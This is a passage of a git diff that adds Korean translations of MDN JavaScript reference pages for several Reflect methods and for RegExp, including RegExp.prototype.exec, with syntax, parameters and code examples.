+   <td>{{SpecName('ESDraft', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.ownKeys")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/preventextensions/index.html b/files/ko/web/javascript/reference/global_objects/reflect/preventextensions/index.html
new file mode 100644
index 0000000000..364b46a5fa
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/preventextensions/index.html
@@ -0,0 +1,103 @@
+---
+title: Reflect.preventExtensions()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/preventExtensions
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><code><strong>Reflect.preventExtensions()</strong></code> 정적 메서드는 새로운 속성을 객체에 추가하지 못하도록 완전히 막습니다. 즉, 미래의 객체 확장을 막습니다.</span> {{jsxref("Object.preventExtensions()")}}와 유사하지만 {{anch("Object.preventExtensions()와의 차이점", "차이점")}}도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-preventextensions.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.preventExtensions(<em>target</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>확장을 방지할 대상 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>대상의 확장을 성공적으로 방지했는지 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.preventExtensions()</code> 메서드는 새로운 속성을 객체에 추가하지 못하도록 완전히 막습니다. 즉, 미래의 객체 확장을 막습니다. {{jsxref("Object.preventExtensions()")}}와 유사합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.preventExtensions()_사용하기"><code>Reflect.preventExtensions()</code> 사용하기</h3>
+
+<p>{{jsxref("Object.preventExtensions()")}}도 참고하세요.</p>
+
+<pre class="brush: js">// 객체는 기본적으로 확장 가능
+var empty = {};
+Reflect.isExtensible(empty); // === true
+
+// ...하지만 바꿀 수 있음
+Reflect.preventExtensions(empty);
+Reflect.isExtensible(empty); // === false
+</pre>
+
+<h3 id="Object.preventExtensions()와의_차이점"><code>Object.preventExtensions()</code>와의 차이점</h3>
+
+<p><code>Reflect.preventExtensions()</code>는 첫 번째 매개변수가 {{glossary("Primitive", "원시값")}}이면 {{jsxref("TypeError")}}를 던집니다. 반면 {{jsxref("Object.preventExtensions()")}}는 우선 객체로 변환을 시도합니다.</p>
+
+<pre class="brush: js">Reflect.preventExtensions(1);
+// TypeError: 1 is not an object
+
+Object.preventExtensions(1);
+// 1
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.preventextensions', 'Reflect.preventExtensions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.preventextensions', 'Reflect.preventExtensions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.preventExtensions")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/set/index.html b/files/ko/web/javascript/reference/global_objects/reflect/set/index.html
new file mode 100644
index 0000000000..f3cfc3a532
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/set/index.html
@@ -0,0 +1,108 @@
+---
+title: Reflect.set()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/set
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/set
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.set()</code></strong> 정적 메서드는 객체 속성의 값을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-set.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.set(<em>target</em>, <em>propertyKey</em>, <em>value</em>[, <em>receiver</em>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성의 값을 설정할 대상 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>값을 설정할 속성의 이름.</dd>
+ <dt><code>value</code></dt>
+ <dd>설정할 값.</dd>
+ <dt><code>receiver</code> {{optional_inline}}</dt>
+ <dd>속성이 설정자일 경우, <code>this</code>로 사용할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>값 설정의 성공 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.set()</code> 메서드는 객체 속성의 값을 설정할 수 있습니다. 속성 추가도 할 수 있으며, 함수라는 점을 제외하면 동작 방식은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a>와 같습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.set()_사용하기"><code>Reflect.set()</code> 사용하기</h3>
+
+<pre class="brush: js">// Object
+var obj = {};
+Reflect.set(obj, 'prop', 'value'); // true
+obj.prop; // "value"
+
+// Array
+var arr = ['duck', 'duck', 'duck'];
+Reflect.set(arr, 2, 'goose'); // true
+arr[2]; // "goose"
+
+// 배열 자르기
+Reflect.set(arr, 'length', 1); // true
+arr; // ["duck"];
+
+// 매개변수를 하나만 제공하면 속성 키 이름은 문자열 "undefined", 값은 undefined
+var obj = {};
+Reflect.set(obj); // true
+Reflect.getOwnPropertyDescriptor(obj, 'undefined');
+// { value: undefined, writable: true, enumerable: true, configurable: true }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.set', 'Reflect.set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.set', 'Reflect.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.set")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/setprototypeof/index.html b/files/ko/web/javascript/reference/global_objects/reflect/setprototypeof/index.html
new file mode 100644
index 0000000000..3e97b9b385
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/setprototypeof/index.html
@@ -0,0 +1,88 @@
+---
+title: Reflect.setPrototypeOf()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Reference
+  - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/setPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><code><strong>Reflect</strong></code><strong><code>.setPrototypeOf()</code></strong> 정적 메서드는 주어진 객체의 프로토타입(내부 <code>[[Prototype]]</code> 속성)을 다른 객체나 {{jsxref("null")}}로 바꿉니다.</span> 반환 값을 제외하면 {{jsxref("Object.setPrototypeOf()")}} 메서드와 같습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-setprototypeof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.setPrototypeOf(<em>target</em>, <em>prototype</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>프로토타입을 지정할 대상 객체.</dd>
+ <dt><code>prototype</code></dt>
+ <dd>대상 객체의 새로운 프로토타입. (객체 또는 {{jsxref("null")}}</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>프로토타입 설정 성공 여부를 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니거나, <code>prototype</code>이 객체도 {{jsxref("null")}}도 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.setPrototypeOf()</code> 메서드는 주어진 객체의 프로토타입(즉, 내부 <code>[[Prototype]]</code> 속성)을 변경합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.setPrototypeOf_사용하기"><code>Reflect.setPrototypeOf()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.setPrototypeOf({}, Object.prototype); // true
+
+// It can change an object's [[Prototype]] to null.
+Reflect.setPrototypeOf({}, null); // true
+
+// Returns false if target is not extensible.
+Reflect.setPrototypeOf(Object.freeze({}), null); // false
+
+// Returns false if it cause a prototype chain cycle.
+const target = {};
+const proto = Object.create(target);
+Reflect.setPrototypeOf(target, proto); // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.setprototypeof', 'Reflect.setPrototypeOf')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.setPrototypeOf")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/regexp/exec/index.html b/files/ko/web/javascript/reference/global_objects/regexp/exec/index.html
new file mode 100644
index 0000000000..4659688c51
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/regexp/exec/index.html
@@ -0,0 +1,188 @@
+---
+title: RegExp.prototype.exec()
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/exec
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - RegExp
+  - 정규 표현식
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/exec
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>exec()</code></strong> 메서드는 주어진 문자열에서 일치 탐색을 수행한 결과를 배열 혹은 {{jsxref("null")}}로 반환합니다.</p>
+
+<p>JavaScript {{jsxref("RegExp")}} 객체는 {{jsxref("RegExp.global", "global")}} 또는 {{jsxref("RegExp.sticky", "sticky")}} 플래그를 설정(<code>/foo/g</code>, <code>/foo/y</code> 등)한 경우 이전 일치의 인덱스를 저장하므로 <strong>상태를 가지고</strong>(stateful) 있습니다. 이를 내부적으로 사용하여, {{jsxref("String.prototype.match()")}}와는 다르게 (캡처 그룹을 포함한) 문자열 내의 일치 다수를 반복해 순회할 수 있습니다.</p>
+
+<p>(캡처 그룹을 포함한) 문자열 내의 다수 일치를 수행할 수 있는 보다 간편한 신규 메서드,  {{jsxref("String.prototype.matchAll()")}}이 제안된 상태입니다.</p>
+
+<p>단순히 <code>true</code>/<code>false</code>가 필요한 경우 {{jsxref("RegExp.prototype.text()")}} 메서드 혹은 {{jsxref("String.prototype.search()")}}를 사용하세요.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-exec.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>regexObj</var>.exec(<var>str</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>정규 표현식 검색을 수행할 대상 문자열.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>정규 표현식이 일치하면, <code>exec()</code> 메서드는 배열(추가 속성 <code>index</code>와 <code>input</code> 포함, 아래 설명을 참고하세요)을 반환하고, 정규 표현식 객체의 {{jsxref("RegExp.lastIndex", "lastIndex")}} 속성을 업데이트합니다. 반환하는 배열은 일치한 텍스트를 첫 번째 원소로, 각각의 괄호 캡처 그룹을 이후 원소로 포함합니다.</p>
+
+<p>정규표현식 검색에 실패하면, <code>exec()</code> 메서드는 {{jsxref("null")}}을 반환하고 {{jsxref("RegExp.lastIndex", "lastIndex")}}를 <code>0</code>으로 설정합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>다음과 같은 예제를 고려해보세요.</p>
+
+<pre class="brush: js notranslate">// Match "quick brown" followed by "jumps", ignoring characters in between
+// Remember "brown" and "jumps"
+// Ignore case
+let re = /quick\s(brown).+?(jumps)/ig;
+let result = re.exec('The Quick Brown Fox Jumps Over The Lazy Dog');</pre>
+
+<p>다음의 표는 이 스크립트의 결과에 대해 보여줍니다.</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="row">객체</th>
+   <th scope="col">속성/인덱스</th>
+   <th scope="col">설명</th>
+   <th scope="col">예제</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="1" rowspan="4" scope="row" style="vertical-align: top;"><code>result</code></th>
+   <td><code>[0]</code></td>
+   <td>일치한 전체 문자.</td>
+   <td><code>"Quick Brown Fox Jumps"</code></td>
+  </tr>
+  <tr>
+   <td><code>[1], ...[<var>n</var>]</code></td>
+   <td>
+    <p>(존재하는 경우) 괄호로 감싼 부분문자열.</p>
+
+    <p>괄호로 감싼 부분문자열 숫자의 제한은 없습니다.</p>
+   </td>
+   <td>
+    <p><code>result[1] === "Brown"</code></p>
+
+    <p><code>result[2] === "Jumps"</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>일치가 문자열에서 위치하는 인덱스. (0 시작)</td>
+   <td><code>4</code></td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>원본 문자열.</td>
+   <td><code>"The Quick Brown Fox Jumps Over The Lazy Dog"</code></td>
+  </tr>
+  <tr>
+   <th colspan="1" rowspan="5" scope="row" style="vertical-align: top;"><code>re</code></th>
+   <td><code>lastIndex</code></td>
+   <td>
+    <p>다음 일치를 시작할 인덱스.</p>
+
+    <p><code>g</code>를 누락하면 항상 <code>0</code>입니다.</p>
+   </td>
+   <td><code>25</code></td>
+  </tr>
+  <tr>
+   <td><code>ignoreCase</code></td>
+   <td><code>i</code> 플래그로 대소문자를 무시했는지 여부.</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>global</code></td>
+   <td><code>g</code> 플래그로 전역 일치를 수행하는지 여부.</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>multiline</code></td>
+   <td><code>m</code> 플래그로 여러 줄에 걸친 탐색을 수행하는지 여부.</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>source</code></td>
+   <td>패턴 문자열.</td>
+   <td><code>"quick\s(brown).+?(jumps)"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Finding_successive_matches">Finding successive matches</h3>
+
+<p>If your regular expression uses the "<code>g</code>" flag, you can use the <code>exec()</code> method multiple times to find successive matches in the same string. When you do so, the search starts at the substring of <code>str</code> specified by the regular expression's {{jsxref("RegExp.lastIndex", "lastIndex")}} property ({{jsxref("RegExp.prototype.test()", "test()")}} will also advance the {{jsxref("RegExp.lastIndex", "lastIndex")}} property). For example, assume you have this script:</p>
+
+<pre class="brush: js notranslate">var myRe = /ab*/g;
+var str = 'abbcdefabh';
+var myArray;
+while ((myArray = myRe.exec(str)) !== null) {
+  var msg = 'Found ' + myArray[0] + '. ';
+  msg += 'Next match starts at ' + myRe.lastIndex;
+  console.log(msg);
+}
+</pre>
+
+<p>This script displays the following text:</p>
+
+<pre class="notranslate">Found abb. Next match starts at 3
+Found ab. Next match starts at 9
+</pre>
+
+<p>Note: Do not place the regular expression literal (or {{jsxref("RegExp")}} constructor) within the <code>while</code> condition or it will create an infinite loop if there is a match due to the {{jsxref("RegExp.lastIndex", "lastIndex")}} property being reset upon each iteration. Also be sure that the global flag is set or a loop will occur here also.</p>
+
+<h3 id="Using_exec_with_RegExp_literals">Using <code>exec()</code> with <code>RegExp</code> literals</h3>
+
+<p>You can also use <code>exec()</code> without creating a {{jsxref("RegExp")}} object:</p>
+
+<pre class="brush: js notranslate">var matches = /(hello \S+)/.exec('This is a hello world!');
+console.log(matches[1]);
+</pre>
+
+<p>This will log a message containing 'hello world!'.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype.exec', 'RegExp.exec')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.exec")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a> chapter in the <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/regexp/index.html b/files/ko/web/javascript/reference/global_objects/regexp/index.html
new file mode 100644
index 0000000000..541d3585db
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/regexp/index.html
@@ -0,0 +1,233 @@
+---
+title: RegExp
+slug: Web/JavaScript/Reference/Global_Objects/RegExp
+tags:
+  - Constructor
+  - JavaScript
+  - Reference
+  - RegExp
+  - 정규 표현식
+  - 정규식
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>RegExp</code></strong> 생성자는 패턴을 사용해 텍스트를 판별할 때 사용합니다.</p>
+
+<p>정규 표현식에 대한 소개는 <a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">JavaScript 안내서의 정규 표현식 장</a>을 참고하세요.</p>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="리터럴_표기법과_생성자">리터럴 표기법과 생성자</h3>
+
+<p><code>RegExp</code> 객체는 리터럴 표기법과 생성자로써 생성할 수 있습니다.</p>
+
+<ul>
+ <li><strong>리터럴 표기법</strong>의 매개변수는 두 빗금으로 감싸야 하며 따옴표를 사용하지 않습니다.</li>
+ <li><strong>생성자 함수</strong>의 매개변수는 빗금으로 감싸지 않으나 따옴표를 사용합니다.</li>
+</ul>
+
+<p>다음의 세 표현식은 모두 같은 정규 표현식을 생성합니다.</p>
+
+<pre class="brush: js notranslate">/ab+c/i
+new RegExp(/ab+c/, 'i') // 리터럴
+new RegExp('ab+c', 'i') // 생성자
+</pre>
+
+<p>리터럴 표기법은 표현식을 평가할 때 정규 표현식을 컴파일합니다. 정규 표현식이 변하지 않으면 리터럴 표기법을 사용하세요. 예를 들어, 반복문 안에서 사용할 정규 표현식을 리터럴 표기법으로 생성하면 정규 표현식을 매번 다시 컴파일하지 않습니다.</p>
+
+<p>정규 표현식 객체의 생성자(<code>new RegExp('ab+c')</code>)를 사용하면 정규 표현식이 런타임에 컴파일됩니다. 패턴이 변할 가능성이 있거나, 사용자 입력과 같이 알 수 없는 외부 소스에서 가져오는 정규 표현식의 경우 생성자 함수를 사용하세요.</p>
+
+<h3 id="생성자의_플래그">생성자의 플래그</h3>
+
+<p>ECMAScript 6부터는 <code>new RegExp(/ab+c/, 'i')</code>처럼, 첫 매개변수가 <code>RegExp</code>이면서 <code>flags</code>를 지정해도 {{jsxref("TypeError")}} (<code>"can't supply flags when constructing one RegExp from another"</code>)가 발생하지 않고, 매개변수로부터 새로운 정규 표현식을 생성합니다.</p>
+
+<p>생성자 함수를 사용할 경우 보통의 문자열 이스케이프 규칙(특수 문자를 문자열에 사용할 때 앞에 역빗금(<code>\</code>)을 붙이는 것)을 준수해야 합니다.</p>
+
+<p>예를 들어 다음 두 줄은 동일한 정규 표현식을 생성합니다.</p>
+
+<pre class="brush: js notranslate">let re = /\w+/
+let re = new RegExp('\\w+')</pre>
+
+<h3 id="Perl_형태의_RegExp_속성">Perl  형태의 <code>RegExp</code> 속성</h3>
+
+<p>일부 {{JSxRef("RegExp")}} 속성은 같은 값에 대해 긴 이름과 짧은 (Perl 형태의) 이름 모두 가지고 있습니다. (Perl은 JavaScript가 정규 표현식을 만들 때 참고한 프로그래밍 언어입니다.)<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#RegExp_Properties">  사용하지 않는 <code>RegExp</code> 속성</a>을 참고하세요.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("RegExp/RegExp", "RegExp()")}}</dt>
+ <dd>새로운 <code>RegExp</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="정적_속성">정적 속성</h2>
+
+<dl>
+ <dt>{{jsxref("RegExp.@@species", "get RegExp[@@species]")}}</dt>
+ <dd>파생 객체를 생성할 때 사용하는 생성자입니다.</dd>
+ <dt>{{jsxref("RegExp.lastIndex")}}</dt>
+ <dd>다음 판별을 시작할 인덱스입니다.</dd>
+</dl>
+
+<h2 id="인스턴스_속성">인스턴스 속성</h2>
+
+<dl>
+ <dt>{{JSxRef("RegExp.prototype.flags")}}</dt>
+ <dd><code>RegExp</code> 객체의 플래그를 담은 문자열입니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.dotAll")}}</dt>
+ <dd><code>.</code>이 줄 바꿈에 일치하는지 여부를 나타냅니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.global")}}</dt>
+ <dd>정규 표현식이 문자열 내에서 가능한 모든 경우에 일치하는지, 아니면 최초에 대해서만 일치하는지 나타냅니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.ignoreCase")}}</dt>
+ <dd>문자열의 대소문자를 구분하는지 나타냅니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.multiline")}}</dt>
+ <dd>여러 줄에 걸쳐 탐색할 것인지 나타냅니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.source")}}</dt>
+ <dd>패턴을 나타내는 문자열입니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.sticky")}}</dt>
+ <dd>검색이 접착(sticky)되어있는지 나타냅니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.unicode")}}</dt>
+ <dd>Unicode 기능의 활성화 여부입니다.</dd>
+</dl>
+
+<h2 id="인스턴스_메서드">인스턴스 메서드</h2>
+
+<dl>
+ <dt>{{JSxRef("RegExp.prototype.compile()")}}</dt>
+ <dd>스크립트 실행 중 정규 표현식을 (다시) 컴파일합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.exec()")}}</dt>
+ <dd>문자열 매개변수에 대해 검색을 실행합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.test()")}}</dt>
+ <dd>문자열 매개변수에 대해 판별을 실행합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.toString()")}}</dt>
+ <dd>객체의 문자열 표현을 반환합니다. {{JSxRef("Object.prototype.toString()")}} 메서드를 재정의합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}</dt>
+ <dd>주어진 문자열에 대해 일치하는 결과를 반환합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@matchAll()", "RegExp.prototype[@@matchAll]()")}}</dt>
+ <dd>주어진 문자열에 대해 일치하는 모든 결과를 반환합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}</dt>
+ <dd>주어진 문자열 내의 일치를 새로운 문자열로 대치합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}</dt>
+ <dd>주어진 문자열에 대해 일치하는 인덱스를 반환합니다.</dd>
+ <dt>{{JSxRef("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}</dt>
+ <dd>주어진 문자열을 분할해 배열로 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="정규_표현식을_사용해서_데이터_형식_바꾸기">정규 표현식을 사용해서 데이터 형식 바꾸기</h3>
+
+<p>다음 스크립트에서는 {{jsxref("String")}} 객체의 {{jsxref("String.prototype.replace()", "replace()")}} 메서드를 사용하여 <em>이름 성씨</em> 형태의 이름을 <em>성씨, 이름</em> 형태 바꿔 반환합니다.</p>
+
+<p>대치 문자열에는 <code>$1</code>과 <code>$2</code>를 사용하여 정규 표현식 패턴의 각 괄호에 일치한 결과를 받아옵니다.</p>
+
+<pre class="brush: js notranslate">let re = /(\w+)\s(\w+)/
+let str = 'John Smith'
+let newstr = str.replace(re, '$2, $1')
+console.log(newstr)</pre>
+
+<p>실행 결과는 <code>"Smith, John"</code>입니다.</p>
+
+<h3 id="정규_표현식을_사용해서_여러_가지_줄_바꿈_문자가_있는_문자열_나누기">정규 표현식을 사용해서 여러 가지 줄 바꿈 문자가 있는 문자열 나누기</h3>
+
+<p>기본 줄 바꿈 문자는 플랫폼(Unix, Windows 등)마다 다릅니다. 아래의 분할 스크립트는 모든 플랫폼의 줄 바꿈을 인식합니다.</p>
+
+<pre class="brush: js notranslate">let text = 'Some text\nAnd some more\r\nAnd yet\rThis is the end'
+let lines = text.split(/\r\n|\r|\n/)
+console.log(lines) // logs [ 'Some text', 'And some more', 'And yet', 'This is the end' ]</pre>
+
+<p>정규 표현식 패턴의 순서를 바꾸면 작동하지 않을 수 있습니다.</p>
+
+<h3 id="여러_줄에서_정규_표현식_사용하기">여러 줄에서 정규 표현식 사용하기</h3>
+
+<pre class="brush: js notranslate">let s = 'Please yes\nmake my day!'
+
+s.match(/yes.*day/);
+// Returns null
+
+s.match(/yes[^]*day/);
+// Returns ["yes\nmake my day"]</pre>
+
+<h3 id="접착_플래그와_함께_사용하기">접착 플래그와 함께 사용하기</h3>
+
+<p>{{JSxRef("Global_Objects/RegExp/sticky", "sticky")}} 플래그는 해당 정규 표현식이 접착 판별, 즉 {{jsxref("RegExp.prototype.lastIndex")}}에서 시작하는 일치만 확인하도록 할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">let str = '#foo#'
+let regex = /foo/y
+
+regex.lastIndex = 1
+regex.test(str)      // true
+regex.lastIndex = 5
+regex.test(str)      // false (lastIndex is taken into account with sticky flag)
+regex.lastIndex      // 0 (reset after match failure)</pre>
+
+<h3 id="접착과_전역_플래그의_차이">접착과 전역 플래그의 차이</h3>
+
+<p>접착 플래그 <code>y</code>의 일치는 정확히 <code>lastIndex</code> 위치에서만 발생할 수 있으나, 전역 플래그 <code>g</code>의 경우 <code>lastIndex</code> 또는 그 이후에서도 발생할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">re = /\d/y;
+while (r = re.exec("123 456")) console.log(r, "AND re.lastIndex", re.lastIndex);
+
+// [ '1', index: 0, input: '123 456', groups: undefined ] AND re.lastIndex 1
+// [ '2', index: 1, input: '123 456', groups: undefined ] AND re.lastIndex 2
+// [ '3', index: 2, input: '123 456', groups: undefined ] AND re.lastIndex 3
+//   ... and no more match.</pre>
+
+<p>전역 플래그 <code>g</code>를 사용했다면, 3개가 아니고 6개 숫자 모두 일치했을 것입니다.</p>
+
+<h3 id="정규_표현식과_Unicode_문자">정규 표현식과 Unicode 문자</h3>
+
+<p> <code>\w</code>와 <code>\W</code>는 <code>a</code>부터 <code>z</code>, <code>A</code>부터 <code>Z</code>, <code>0</code>부터 <code>9</code> <code>_</code> 등의 {{glossary("ASCII")}} 문자에만 일치합니다.</p>
+
+<p>러시아어나 히브리어와 같은 다른 언어의 문자까지 일치하려면 <code>\uhhhh</code>(이때 hhhh는 해당 문자의 16진법 Unicode 값) 문법을 사용하세요. 아래 예제에서는 문자열에서 Unicode 문자를 추출합니다.</p>
+
+<pre class="brush: js notranslate">let text = 'Образец text на русском языке'
+let regex = /[\u0400-\u04FF]+/g
+
+let match = regex.exec(text)
+console.log(match[0])        // logs 'Образец'
+console.log(regex.lastIndex) // logs '7'
+
